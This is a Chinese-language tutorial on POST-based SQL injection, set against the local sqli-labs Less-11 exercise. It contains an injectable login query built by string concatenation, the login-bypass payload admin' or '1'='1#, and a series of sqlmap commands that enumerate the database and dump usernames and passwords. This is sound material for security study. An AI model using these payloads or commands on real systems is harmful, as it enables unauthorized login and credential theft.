POST介绍
POST方法起初是用来向服务器输入数据的。
实际上,通常会用POST方法来支持HTML的表单。表单中填好数据通常会被送到服务器,然后由服务器将其发送到它要去的地方(比如,送到一个服务器网关程序中,然后由这个程序对其进行处理)。
如图所示,显示的是一个用POST方法发起HTTP请求——像服务器发送表单数据——的客户端。
POST注入介绍
如上图所示,一般情况下,当我们通过HTML表单提交数据到服务器时,服务端都会在数据库(库存)中检查我们输入的数据是否符合要求,然后根据数据库搜索结果返回相应的数据给客户端。
这里以账号username
密码password
登录为例
后台的SQL查询语句如下:
$sql="SELECT username, password FROM users WHERE username='$username' and
password='$password' LIMIT 0,1";
由于$username
和$password
都可以由用户输入,如果我们构造一些“恶意”的SQL语句,“欺骗”后台数据库执行系统不愿意用户执行的操作,那么就产生了SQL注入。这就是我们常说的POST注入。
最经典的POST注入莫过于“万能密码”。
username :admin' or '1'='1#
password :*******(随意输入)
此时,后台数据库的查询语句为:
$sql="SELECT username, password FROM users WHERE username='admin' or '1'='1 # and
password='$password' LIMIT 0,1";
显而易见,’1’ = ‘1’恒为真,而且#后面的密码直接被注释了,那么我们可以直接登录到后台了。
现在网站基本上已经看不到这种万能密码了,但是仍然是我们学习POST注入的经典例子。
sqlmap POST注入
我们说过,当我们知道基本的原理之后,我们还要学会使用自动化注入工具。
前面关于SQL注入原理以及一些payload构造原理我们已经讲的比较多了,我们现在已经可以学学使用工具进行自动化注入了。
其实工具自动化注入的payload与我们之前讲解的那些payload的基本原理大致相同,当然工具里面的payload肯定比我们之前讲解的payload高级很多。
自动化注入工具推荐使用sqlmap,大家可以学学其基本的使用方法,然后在不断的实践中慢慢掌握其用法。
POST注入先介绍两个参数:
从文件中加载HTTP请求
参数:-r
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据等等)。
自动获取form表单测试
- 参数:–forms
- 如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。 但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。
一般情况下,对于POST注入,我使用第二个参数–forms。
Less-11
我们以less-11为例讲解sqlmap如何一步一步的枚举数据库。
枚举当前数据库名
输入指令为:python sqlmap.py -u "http://127.0.0.1/sqli-labs/less-11" --forms --current-db
枚举当前数据库的表名
输入指令为:python sqlmap.py -u "http://127.0.0.1/sqli-labs/less-11" --forms -D "security" --tables
枚举数据表的字段名
输入指令为:python sqlmap.py -u "http://127.0.0.1/sqli-labs/less-11" --forms -D "security" -T "users" --columns
枚举字段的数据项
输入指令为:python sqlmap.py -u "http://127.0.0.1/sqli-labs/less-11" --forms -D "security" -T "users" -C "username,password" --dump